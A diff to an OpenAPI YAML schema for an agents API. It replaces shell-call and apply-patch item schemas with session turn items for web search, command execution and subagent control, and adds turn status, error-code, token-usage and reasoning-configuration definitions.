+ search: '#/components/schemas/WebSearchActionResourceSearch'
+ open_page: '#/components/schemas/WebSearchActionResourceOpenPage'
+ find_in_page: '#/components/schemas/WebSearchActionResourceFindInPage'
+ other: '#/components/schemas/WebSearchActionResourceOther'
+ x-oai-discriminator-values:
+ - search
+ - open_page
+ - find_in_page
+ - other
+ anyOf:
+ - $ref: '#/components/schemas/WebSearchActionResourceSearch'
+ - $ref: '#/components/schemas/WebSearchActionResourceOpenPage'
+ - $ref: '#/components/schemas/WebSearchActionResourceFindInPage'
+ - $ref: '#/components/schemas/WebSearchActionResourceOther'
+ WebSearchCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - shell_call
- description: The type of the item. Always `shell_call`.
- default: shell_call
+ - web_search_call
+ default: web_search_call
x-stainless-const: true
+ description: The item type. Always `web_search_call`.
id:
type: string
- description: The unique ID of the shell tool call. Populated when this item is returned via API.
- call_id:
+ minLength: 0
+ description: The ID of the web search call.
+ turn_id:
type: string
- description: The unique ID of the shell tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCaller'
- description: The execution context that produced this tool call.
- - type: 'null'
- action:
- $ref: '#/components/schemas/FunctionShellAction'
- description: The shell commands and limits that describe how to run the tool call.
+ minLength: 0
+ description: The ID of the turn that contains this item.
status:
- $ref: '#/components/schemas/FunctionShellCallStatus'
- description: The status of the shell call. One of `in_progress`, `completed`, or `incomplete`.
- environment:
+ $ref: '#/components/schemas/OutputItemStatusResource'
+ description: The status of the web search call.
+ action:
anyOf:
- - discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/LocalEnvironmentResource'
- - $ref: '#/components/schemas/ContainerReferenceResource'
+ - $ref: '#/components/schemas/WebSearchActionResource'
- type: 'null'
- created_by:
- type: string
- description: The ID of the entity that created this tool call.
- type: object
+ description: The action performed by the web search tool.
required:
- type
- id
- - call_id
- - action
+ - turn_id
- status
- - environment
- title: Shell tool call
- description: A tool call that executes one or more shell commands in a managed environment.
- FunctionShellCallOutputStatusEnum:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- FunctionShellCallOutputTimeoutOutcome:
+ - action
+ additionalProperties: false
+ description: A web search call produced by the agent.
+ CommandExecutionItemResource:
+ type: object
properties:
type:
type: string
enum:
- - timeout
- description: The outcome type. Always `timeout`.
- default: timeout
+ - command_execution
+ default: command_execution
x-stainless-const: true
- type: object
+ description: The item type. Always `command_execution`.
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the command execution item.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ command:
+ type: string
+ minLength: 0
+ description: The command that was executed.
+ cwd:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The working directory used to execute the command.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the command execution.
+ output:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The command output, if available.
+ exit_code:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ description: The process exit code, if the command completed.
+ duration_ms:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ description: The command duration in milliseconds.
required:
- type
- title: Shell call timeout outcome
- description: Indicates that the shell call exceeded its configured time limit.
- FunctionShellCallOutputExitOutcome:
+ - id
+ - turn_id
+ - command
+ - cwd
+ - status
+ - output
+ - exit_code
+ - duration_ms
+ additionalProperties: false
+ description: A command execution produced by the agent.
+ InterruptSubagentCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - exit
- description: The outcome type. Always `exit`.
- default: exit
+ - interrupt_subagent_call
+ default: interrupt_subagent_call
x-stainless-const: true
- exit_code:
- type: integer
- description: Exit code from the shell process.
- type: object
- required:
- - type
- - exit_code
- title: Shell call exit outcome
- description: Indicates that the shell commands finished and returned an exit code.
- FunctionShellCallOutputContent:
- properties:
- stdout:
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `interrupt_subagent_call`.
+ id:
type: string
- description: The standard output that was captured.
- stderr:
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
type: string
- description: The standard error output that was captured.
- outcome:
- discriminator:
- propertyName: type
- title: Shell call outcome
- description: Represents either an exit outcome (with an exit code) or a timeout outcome for a shell call output chunk.
- anyOf:
- - $ref: '#/components/schemas/FunctionShellCallOutputTimeoutOutcome'
- - $ref: '#/components/schemas/FunctionShellCallOutputExitOutcome'
- created_by:
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ sender_agent_id:
type: string
- description: The identifier of the actor that created the item.
- type: object
+ minLength: 0
+ description: The ID of the agent requesting the interrupt.
+ recipient_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent to interrupt.
required:
- - stdout
- - stderr
- - outcome
- title: Shell call output content
- description: The content of a shell tool call output that was emitted.
- FunctionShellCallOutput:
+ - type
+ - id
+ - turn_id
+ - status
+ - sender_agent_id
+ - recipient_agent_id
+ additionalProperties: false
+ description: A request to interrupt a subagent's current turn. The subagent remains available.
+ CreateSubagentCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - shell_call_output
- description: The type of the shell call output. Always `shell_call_output`.
- default: shell_call_output
+ - create_subagent_call
+ default: create_subagent_call
x-stainless-const: true
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `create_subagent_call`.
id:
type: string
- description: The unique ID of the shell call output. Populated when this item is returned via API.
- call_id:
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
type: string
- description: The unique ID of the shell tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCaller'
- description: The execution context that produced this tool call.
- - type: 'null'
+ minLength: 0
+ description: The ID of the turn that contains this item.
status:
- $ref: '#/components/schemas/FunctionShellCallOutputStatusEnum'
- description: The status of the shell call output. One of `in_progress`, `completed`, or `incomplete`.
- output:
- items:
- $ref: '#/components/schemas/FunctionShellCallOutputContent'
- type: array
- description: An array of shell call output contents
- max_output_length:
- anyOf:
- - type: integer
- description: The maximum length of the shell command output. This is generated by the model and should be passed back with the raw output.
- - type: 'null'
- created_by:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ agent_id:
type: string
- description: The identifier of the actor that created the item.
- type: object
+ minLength: 0
+ description: The ID of the agent that requested the subagent.
+ content:
+ type: array
+ items:
+ $ref: '#/components/schemas/AgentContentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The task given to the spawned agent.
+ model:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The model requested for the spawned agent.
+ reasoning_effort:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The reasoning effort requested for the spawned agent.
required:
- type
- id
- - call_id
+ - turn_id
- status
- - output
- - max_output_length
- title: Shell call output
- description: The output of a shell tool call that was emitted.
- ApplyPatchCallStatus:
- type: string
- enum:
- - in_progress
- - completed
- ApplyPatchCreateFileOperation:
+ - agent_id
+ - content
+ - model
+ - reasoning_effort
+ additionalProperties: false
+ description: A request to spawn a subagent.
+ SendSubagentInputCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - create_file
- description: Create a new file with the provided diff.
- default: create_file
+ - send_subagent_input_call
+ default: send_subagent_input_call
x-stainless-const: true
- path:
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `send_subagent_input_call`.
+ id:
type: string
- description: Path of the file to create.
- diff:
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
type: string
- description: Diff to apply.
- type: object
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ sender_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent sending the input.
+ recipient_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent receiving the input.
+ content:
+ type: array
+ items:
+ $ref: '#/components/schemas/AgentContentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The input sent to the receiving agent.
required:
- type
- - path
- - diff
- title: Apply patch create file operation
- description: Instruction describing how to create a file via the apply_patch tool.
- ApplyPatchDeleteFileOperation:
+ - id
+ - turn_id
+ - status
+ - sender_agent_id
+ - recipient_agent_id
+ - content
+ additionalProperties: false
+ description: A request to send input to another agent.
+ ResumeSubagentCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - delete_file
- description: Delete the specified file.
- default: delete_file
+ - resume_subagent_call
+ default: resume_subagent_call
x-stainless-const: true
- path:
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `resume_subagent_call`.
+ id:
type: string
- description: Path of the file to delete.
- type: object
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ sender_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent requesting the resume.
+ recipient_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent to resume.
required:
- type
- - path
- title: Apply patch delete file operation
- description: Instruction describing how to delete a file via the apply_patch tool.
- ApplyPatchUpdateFileOperation:
+ - id
+ - turn_id
+ - status
+ - sender_agent_id
+ - recipient_agent_id
+ additionalProperties: false
+ description: A request to resume a subagent.
+ WaitForSubagentsCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - update_file
- description: Update an existing file with the provided diff.
- default: update_file
+ - wait_for_subagents_call
+ default: wait_for_subagents_call
x-stainless-const: true
- path:
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `wait_for_subagents_call`.
+ id:
type: string
- description: Path of the file to update.
- diff:
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
type: string
- description: Diff to apply.
- type: object
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ status:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ sender_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent waiting for results.
+ recipient_agent_ids:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 0
+ maxItems: 2000
+ description: The IDs of the agents to wait for.
required:
- type
- - path
- - diff
- title: Apply patch update file operation
- description: Instruction describing how to update a file via the apply_patch tool.
- ApplyPatchToolCall:
+ - id
+ - turn_id
+ - status
+ - sender_agent_id
+ - recipient_agent_ids
+ additionalProperties: false
+ description: A request to wait for one or more subagents.
+ CloseSubagentCallItemResource:
+ type: object
properties:
type:
type: string
enum:
- - apply_patch_call
- description: The type of the item. Always `apply_patch_call`.
- default: apply_patch_call
+ - close_subagent_call
+ default: close_subagent_call
x-stainless-const: true
+ x-enumDescriptions:
+ - The current public item type.
+ description: The item type. Always `close_subagent_call`.
id:
type: string
- description: The unique ID of the apply patch tool call. Populated when this item is returned via API.
- call_id:
+ minLength: 0
+ description: The ID of the tool call item.
+ turn_id:
type: string
- description: The unique ID of the apply patch tool call generated by the model.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCaller'
- description: The execution context that produced this tool call.
- - type: 'null'
+ minLength: 0
+ description: The ID of the turn that contains this item.
status:
- $ref: '#/components/schemas/ApplyPatchCallStatus'
- description: The status of the apply patch tool call. One of `in_progress` or `completed`.
- operation:
- discriminator:
- propertyName: type
- title: Apply patch operation
- description: One of the create_file, delete_file, or update_file operations applied via apply_patch.
- anyOf:
- - $ref: '#/components/schemas/ApplyPatchCreateFileOperation'
- - $ref: '#/components/schemas/ApplyPatchDeleteFileOperation'
- - $ref: '#/components/schemas/ApplyPatchUpdateFileOperation'
- created_by:
+ $ref: '#/components/schemas/FunctionCallStatusResource'
+ description: The status of the tool call.
+ sender_agent_id:
type: string
- description: The ID of the entity that created this tool call.
- type: object
+ minLength: 0
+ description: The ID of the agent requesting the close.
+ recipient_agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent to close.
required:
- type
- id
- - call_id
+ - turn_id
- status
- - operation
- title: Apply patch tool call
- description: A tool call that applies file diffs by creating, deleting, or updating files.
- ApplyPatchCallOutputStatus:
+ - sender_agent_id
+ - recipient_agent_id
+ additionalProperties: false
+ description: A request to close a subagent.
+ SessionTurnItemResource:
+ description: An item associated with a session turn.
+ discriminator:
+ propertyName: type
+ mapping:
+ message: '#/components/schemas/MessageItemResource'
+ reasoning: '#/components/schemas/ReasoningItemResource'
+ function_call: '#/components/schemas/FunctionCallItemResource'
+ function_call_output: '#/components/schemas/FunctionCallOutputItemResource'
+ agent_message: '#/components/schemas/AgentMessageItemResource'
+ mcp_call: '#/components/schemas/McpCallItemResource'
+ web_search_call: '#/components/schemas/WebSearchCallItemResource'
+ command_execution: '#/components/schemas/CommandExecutionItemResource'
+ interrupt_subagent_call: '#/components/schemas/InterruptSubagentCallItemResource'
+ create_subagent_call: '#/components/schemas/CreateSubagentCallItemResource'
+ send_subagent_input_call: '#/components/schemas/SendSubagentInputCallItemResource'
+ resume_subagent_call: '#/components/schemas/ResumeSubagentCallItemResource'
+ wait_for_subagents_call: '#/components/schemas/WaitForSubagentsCallItemResource'
+ close_subagent_call: '#/components/schemas/CloseSubagentCallItemResource'
+ x-oai-discriminator-values:
+ - message
+ - reasoning
+ - function_call
+ - function_call_output
+ - agent_message
+ - mcp_call
+ - web_search_call
+ - command_execution
+ - create_subagent_call
+ - send_subagent_input_call
+ - resume_subagent_call
+ - wait_for_subagents_call
+ - interrupt_subagent_call
+ - close_subagent_call
+ anyOf:
+ - $ref: '#/components/schemas/MessageItemResource'
+ - $ref: '#/components/schemas/ReasoningItemResource'
+ - $ref: '#/components/schemas/FunctionCallItemResource'
+ - $ref: '#/components/schemas/FunctionCallOutputItemResource'
+ - $ref: '#/components/schemas/AgentMessageItemResource'
+ - $ref: '#/components/schemas/McpCallItemResource'
+ - $ref: '#/components/schemas/WebSearchCallItemResource'
+ - $ref: '#/components/schemas/CommandExecutionItemResource'
+ - $ref: '#/components/schemas/CreateSubagentCallItemResource'
+ - $ref: '#/components/schemas/SendSubagentInputCallItemResource'
+ - $ref: '#/components/schemas/ResumeSubagentCallItemResource'
+ - $ref: '#/components/schemas/WaitForSubagentsCallItemResource'
+ - $ref: '#/components/schemas/InterruptSubagentCallItemResource'
+ - $ref: '#/components/schemas/CloseSubagentCallItemResource'
+ SessionItemListResource:
+ type: object
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/SessionTurnItemResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of messages, reasoning, and tool calls from a session's item history.
+ TurnObjectResource:
+ type: string
+ enum:
+ - agent.session.turn
+ default: agent.session.turn
+ x-stainless-const: true
+ description: The object type for a turn.
+ TurnStatusResource:
type: string
enum:
+ - queued
+ - in_progress
+ - waiting
- completed
- failed
- ApplyPatchToolCallOutput:
+ - cancelled
+ x-enumDescriptions:
+ - The turn is waiting to start.
+ - The turn is in progress.
+ - The turn is waiting for external input.
+ - The turn completed successfully.
+ - The turn failed.
+ - The turn was cancelled.
+ description: The current status of a turn.
+ SessionTurnErrorCodeResource:
+ type: string
+ enum:
+ - context_length_exceeded
+ - session_budget_exceeded
+ - usage_limit_exceeded
+ - rate_limit_exceeded
+ - server_overloaded
+ - cyber_policy
+ - connection_failed
+ - server_error
+ - authentication_error
+ - invalid_request
+ - resource_not_found
+ - sandbox_error
+ - executor_version_incompatible
+ - active_turn_not_steerable
+ - request_timeout
+ - internal_error
+ x-enumDescriptions:
+ - The request exceeds the model's context window.
+ - The session has reached its usage budget.
+ - The organization has reached a usage, plan, or billing limit.
+ - The request exceeds the available rate limit.
+ - The model service is temporarily overloaded.
+ - The request was rejected by a safety policy.
+ - The request could not connect to the model service.
+ - The model service encountered an unexpected error.
+ - The API credentials are invalid or lack the required access.
+ - The request contains invalid input or configuration.
+ - The requested model or resource is unavailable.
+ - The request could not complete in its execution environment.
+ - The executor must be upgraded before it can run this turn.
+ - The session cannot accept additional input while a request is running.
+ - The request timed out before the model service responded.
+ - An unexpected internal error prevented the session request from completing.
+ description: Stable public categories for session request failures.
+ SessionTurnErrorResource:
+ type: object
properties:
- type:
+ code:
+ $ref: '#/components/schemas/SessionTurnErrorCodeResource'
+ description: A stable, machine-readable failure category.
+ message:
type: string
- enum:
- - apply_patch_call_output
- description: The type of the item. Always `apply_patch_call_output`.
- default: apply_patch_call_output
- x-stainless-const: true
+ minLength: 0
+ description: A customer-safe explanation of the failure.
+ required:
+ - code
+ - message
+ additionalProperties: false
+ description: A customer-safe error describing why a session request failed.
+ InputTokensDetailsResource:
+ type: object
+ properties:
+ cached_tokens:
+ type: integer
+ format: int64
+ description: The number of input tokens retrieved from the prompt cache.
+ required:
+ - cached_tokens
+ additionalProperties: false
+ description: A breakdown of input token usage for a session or turn.
+ OutputTokensDetailsResource:
+ type: object
+ properties:
+ reasoning_tokens:
+ type: integer
+ format: int64
+ description: The number of output tokens used for reasoning.
+ required:
+ - reasoning_tokens
+ additionalProperties: false
+ description: A breakdown of output token usage for a session or turn.
+ TokenUsageResource:
+ type: object
+ properties:
+ input_tokens:
+ type: integer
+ format: int64
+ description: The number of input tokens used by the agent.
+ input_tokens_details:
+ $ref: '#/components/schemas/InputTokensDetailsResource'
+ description: A breakdown of the agent's input token usage.
+ output_tokens:
+ type: integer
+ format: int64
+ description: The number of output tokens generated by the agent.
+ output_tokens_details:
+ $ref: '#/components/schemas/OutputTokensDetailsResource'
+ description: A breakdown of the agent's output token usage.
+ total_tokens:
+ type: integer
+ format: int64
+ description: The total number of input and output tokens used by the agent.
+ required:
+ - input_tokens
+ - input_tokens_details
+ - output_tokens
+ - output_tokens_details
+ - total_tokens
+ additionalProperties: false
+ description: Recorded token usage for a session or turn. Usage is best effort and may change.
+ TurnResource:
+ type: object
+ properties:
id:
type: string
- description: The unique ID of the apply patch tool call output. Populated when this item is returned via API.
- call_id:
+ minLength: 0
+ description: The ID of the turn.
+ object:
+ $ref: '#/components/schemas/TurnObjectResource'
+ description: The object type. Always `agent.session.turn`.
+ session_id:
type: string
- description: The unique ID of the apply patch tool call generated by the model.
- caller:
+ minLength: 0
+ description: The ID of the session that owns the turn.
+ agent_id:
+ type: string
+ minLength: 0
+ description: The ID of the agent that ran the turn.
+ subagent_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the subagent that ran the turn, if applicable.
+ status:
+ $ref: '#/components/schemas/TurnStatusResource'
+ description: The current status of the turn.
+ created_at:
+ type: integer
+ format: int64
+ description: The Unix timestamp, in seconds, used to order the turn by creation time. Subagent turns use their start time, falling back to completion time or the subagent opening time when the preceding timestamps are unavailable.
+ started_at:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ description: The Unix timestamp, in seconds, when the turn started.
+ completed_at:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ description: The Unix timestamp, in seconds, when the turn reached a terminal state.
+ error:
anyOf:
- - $ref: '#/components/schemas/ToolCallCaller'
- description: The execution context that produced this tool call.
+ - $ref: '#/components/schemas/SessionTurnErrorResource'
- type: 'null'
- status:
- $ref: '#/components/schemas/ApplyPatchCallOutputStatus'
- description: The status of the apply patch tool call output. One of `completed` or `failed`.
- output:
+ description: A customer-safe error. Non-null only for a failed turn.
+ usage:
anyOf:
- - type: string
- description: Optional textual output returned by the apply patch tool.
+ - $ref: '#/components/schemas/TokenUsageResource'
- type: 'null'
- created_by:
- type: string
- description: The ID of the entity that created this tool call output.
- type: object
+ description: Best-effort token usage for the turn, or null if unknown. Recorded usage may change.
required:
- - type
- id
- - call_id
+ - object
+ - session_id
+ - agent_id
+ - subagent_id
- status
- title: Apply patch tool call output
- description: The output emitted by an apply patch tool call.
- MCPProtocolError:
+ - created_at
+ - started_at
+ - completed_at
+ - error
+ - usage
+ additionalProperties: false
+ description: The canonical public representation of a session turn.
+ SessionTurnListResource:
+ type: object
properties:
- type:
+ object:
type: string
enum:
- - mcp_protocol_error
- default: mcp_protocol_error
+ - list
+ default: list
x-stainless-const: true
- code:
- type: integer
- message:
- type: string
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/TurnResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ ReasoningEffortResource:
+ type: string
+ enum:
+ - none
+ - minimal
+ - low
+ - medium
+ - high
+ - xhigh
+ - max
+ description: The amount of reasoning effort used by an agent.
+ ReasoningSummaryResource:
+ type: string
+ enum:
+ - concise
+ - detailed
+ - auto
+ x-enumDescriptions:
+ - Returns a concise reasoning summary when supported.
+ - Returns a detailed reasoning summary when supported.
+ - Automatically selects the most detailed summary supported by the model.
+ description: The reasoning summary format requested from an agent.
+ ReasoningResource:
type: object
+ properties:
+ effort:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningEffortResource'
+ - type: 'null'
+ description: The requested reasoning effort, or `null` when the model selects its own default.
+ summary:
+ anyOf:
+ - $ref: '#/components/schemas/ReasoningSummaryResource'
+ - type: 'null'
+ description: The requested reasoning summary format, or `null` when summaries are disabled.
required:
- - type
- - code
- - message
- MCPToolExecutionError:
+ - effort
+ - summary
+ additionalProperties: false
+ description: The reasoning configuration used by an agent.
+ TextFormatResourceText:
+ type: object
properties:
type:
type: string
enum:
- - mcp_tool_execution_error
- default: mcp_tool_execution_error
+ - text
+ default: text
x-stainless-const: true
- content: {}
- type: object
+ description: The type of the object. Always `text`.
required:
- type
- - content
- HTTPError:
+ additionalProperties: false
+ description: Generates ordinary text without a structured-output constraint.
+ TextFormatResourceJsonSchema:
+ type: object
properties:
type:
type: string
enum:
- - http_error
- default: http_error
+ - json_schema
+ default: json_schema
x-stainless-const: true
- code:
- type: integer
- message:
- type: string
- type: object
+ description: The type of the object. Always `json_schema`.
+ schema:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: The JSON Schema that generated text must match.
required:
- type
- - code
- - message
- MCPToolCallStatus:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- - calling
- - failed
- DetailEnum:
+ - schema
+ additionalProperties: false
+ description: Constrains generated text to a JSON Schema.
+ TextFormatResource:
+ description: The effective output format for generated text.
+ discriminator:
+ propertyName: type
+ mapping:
+ text: '#/components/schemas/TextFormatResourceText'
+ json_schema: '#/components/schemas/TextFormatResourceJsonSchema'
+ x-oai-discriminator-values:
+ - text
+ - json_schema
+ anyOf:
+ - $ref: '#/components/schemas/TextFormatResourceText'
+ - $ref: '#/components/schemas/TextFormatResourceJsonSchema'
+ VerbosityResource:
type: string
enum:
- low
+ - medium
- high
- - auto
- - original
- FunctionCallItemStatus:
+ description: The amount of text produced by an agent.
+ TextResource:
+ type: object
+ properties:
+ format:
+ $ref: '#/components/schemas/TextFormatResource'
+ description: The effective output format. Defaults to ordinary text.
+ verbosity:
+ $ref: '#/components/schemas/VerbosityResource'
+ description: The amount of text produced by the agent. Defaults to `medium`.
+ required:
+ - format
+ - verbosity
+ additionalProperties: false
+ description: The text configuration used by an agent.
+ ServiceTierResource:
type: string
enum:
- - in_progress
- - completed
- - incomplete
- ComputerCallOutputItemParam:
+ - auto
+ - default
+ - flex
+ - priority
+ - fast
+ description: The service-tier policy configured for an agent.
+ PersistedAgentToolResourceFunction:
+ type: object
properties:
- id:
- anyOf:
- - type: string
- description: The ID of the computer tool call output.
- example: cuo_123
- - type: 'null'
- call_id:
- type: string
- maxLength: 64
- minLength: 1
- description: The ID of the computer tool call that produced the output.
type:
type: string
enum:
- - computer_call_output
- description: The type of the computer tool call output. Always `computer_call_output`.
- default: computer_call_output
+ - function
+ default: function
x-stainless-const: true
- output:
- $ref: '#/components/schemas/ComputerScreenshotImage'
- acknowledged_safety_checks:
- anyOf:
- - items:
- $ref: '#/components/schemas/ComputerCallSafetyCheckParam'
- type: array
- description: The safety checks reported by the API that have been acknowledged by the developer.
- - type: 'null'
- status:
- anyOf:
- - $ref: '#/components/schemas/FunctionCallItemStatus'
- description: The status of the message input. One of `in_progress`, `completed`, or `incomplete`. Populated when input items are returned via API.
- - type: 'null'
- type: object
+ description: The type of the object. Always `function`.
+ name:
+ type: string
+ minLength: 0
+ description: The name of the function.
+ description:
+ type: string
+ minLength: 0
+ description: A description of what the function does.
+ parameters:
+ type: object
+ additionalProperties: {}
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: A JSON Schema object describing the function's arguments.
+ defer_loading:
+ type: boolean
+ description: Whether the function is deferred and discovered through tool search.
required:
- - call_id
- type
- - output
- title: Computer tool call output
- description: The output of a computer tool call.
- InputTextContentParam:
+ - name
+ - description
+ - parameters
+ - defer_loading
+ additionalProperties: false
+ description: A function defined by the application.
+ PersistedAgentToolResourceToolSearch:
+ type: object
properties:
type:
type: string
enum:
- - input_text
- description: The type of the input item. Always `input_text`.
- default: input_text
+ - tool_search
+ default: tool_search
x-stainless-const: true
- text:
- type: string
- maxLength: 10485760
- description: The text input to the model.
- prompt_cache_breakpoint:
- anyOf:
- - $ref: '#/components/schemas/PromptCacheBreakpointParam'
- - type: 'null'
- type: object
+ description: The type of the object. Always `tool_search`.
required:
- type
- - text
- title: Input text
- description: A text input to the model.
- InputImageContentParamAutoParam:
+ additionalProperties: false
+ description: Discovers deferred function tools and loads them into the model context.
+ PersistedAgentToolResourceProgrammaticToolCalling:
+ type: object
properties:
type:
type: string
enum:
- - input_image
- description: The type of the input item. Always `input_image`.
- default: input_image
+ - programmatic_tool_calling
+ default: programmatic_tool_calling
x-stainless-const: true
- image_url:
- anyOf:
- - type: string
- maxLength: 20971520
- format: uri
- description: The URL of the image to be sent to the model. A fully qualified URL or base64 encoded image in a data URL.
- - type: 'null'
- file_id:
- anyOf:
- - type: string
- description: The ID of the file to be sent to the model.
- example: file-123
- - type: 'null'
- detail:
- anyOf:
- - $ref: '#/components/schemas/DetailEnum'
- description: The detail level of the image to be sent to the model. One of `high`, `low`, `auto`, or `original`. Defaults to `auto`.
- - type: 'null'
- prompt_cache_breakpoint:
- anyOf:
- - $ref: '#/components/schemas/PromptCacheBreakpointParam'
- - type: 'null'
- type: object
+ description: The type of the object. Always `programmatic_tool_calling`.
+ enabled:
+ type: boolean
+ description: Whether tools can be called from model-generated code.
required:
- type
- title: Input image
- description: An image input to the model. Learn about [image inputs](https://developers.openai.com/api/docs/guides/images-vision)
- FileDetailEnum:
- type: string
- enum:
- - auto
- - low
- - high
- InputFileContentParam:
+ - enabled
+ additionalProperties: false
+ description: Enables calling tools from model-generated code.
+ PersistedMcpTransportResourceHttp:
+ type: object
properties:
type:
type: string
enum:
- - input_file
- description: The type of the input item. Always `input_file`.
- default: input_file
+ - http
+ default: http
x-stainless-const: true
- file_id:
- anyOf:
- - type: string
- description: The ID of the file to be sent to the model.
- example: file-123
- - type: 'null'
- filename:
- anyOf:
- - type: string
- description: The name of the file to be sent to the model.
- - type: 'null'
- file_data:
- anyOf:
- - type: string
- maxLength: 73400320
- description: The base64-encoded data of the file to be sent to the model.
- - type: 'null'
- file_url:
- anyOf:
- - type: string
- format: uri
- description: The URL of the file to be sent to the model.
- - type: 'null'
- detail:
- $ref: '#/components/schemas/FileDetailEnum'
- description: The detail level of the file to be sent to the model. Use `auto` to let the system select the detail level; for GPT-5.6 and later models, `auto` uses high-quality rendering, which may increase input token usage. Use `low` for lower-cost rendering, or `high` to render the file at higher quality. Defaults to `auto`.
- prompt_cache_breakpoint:
- anyOf:
- - $ref: '#/components/schemas/PromptCacheBreakpointParam'
- - type: 'null'
- type: object
+ description: The type of the object. Always `http`.
+ server_url:
+ type: string
+ minLength: 0
+ description: The URL of the MCP server.
+ headers:
+ type: object
+ additionalProperties:
+ type: string
+ minLength: 0
+ propertyNames:
+ type: string
+ minLength: 0
+ minProperties: 0
+ description: Non-secret HTTP headers sent to the MCP server.
required:
- type
- title: Input file
- description: A file input to the model.
- FunctionCallOutputItemParam:
+ - server_url
+ - headers
+ additionalProperties: false
+ description: Connects to an MCP server over HTTP.
+ PersistedMcpTransportResourceStdio:
+ type: object
properties:
- id:
- anyOf:
- - type: string
- description: The unique ID of the function tool call output. Populated when this item is returned via API.
- example: fc_123
- - type: 'null'
- call_id:
- anyOf:
- - type: string
- maxLength: 64
- minLength: 1
- description: The unique ID of the function tool call generated by the model.
- - type: 'null'
type:
type: string
enum:
- - function_call_output
- description: The type of the function tool call output. Always `function_call_output`.
- default: function_call_output
+ - stdio
+ default: stdio
x-stainless-const: true
- output:
- description: Text, image, or file output of the function tool call.
- anyOf:
- - type: string
- maxLength: 10485760
- description: A JSON string of the output of the function tool call.
- - items:
- discriminator:
- propertyName: type
- description: A piece of message content, such as text, an image, or a file.
- anyOf:
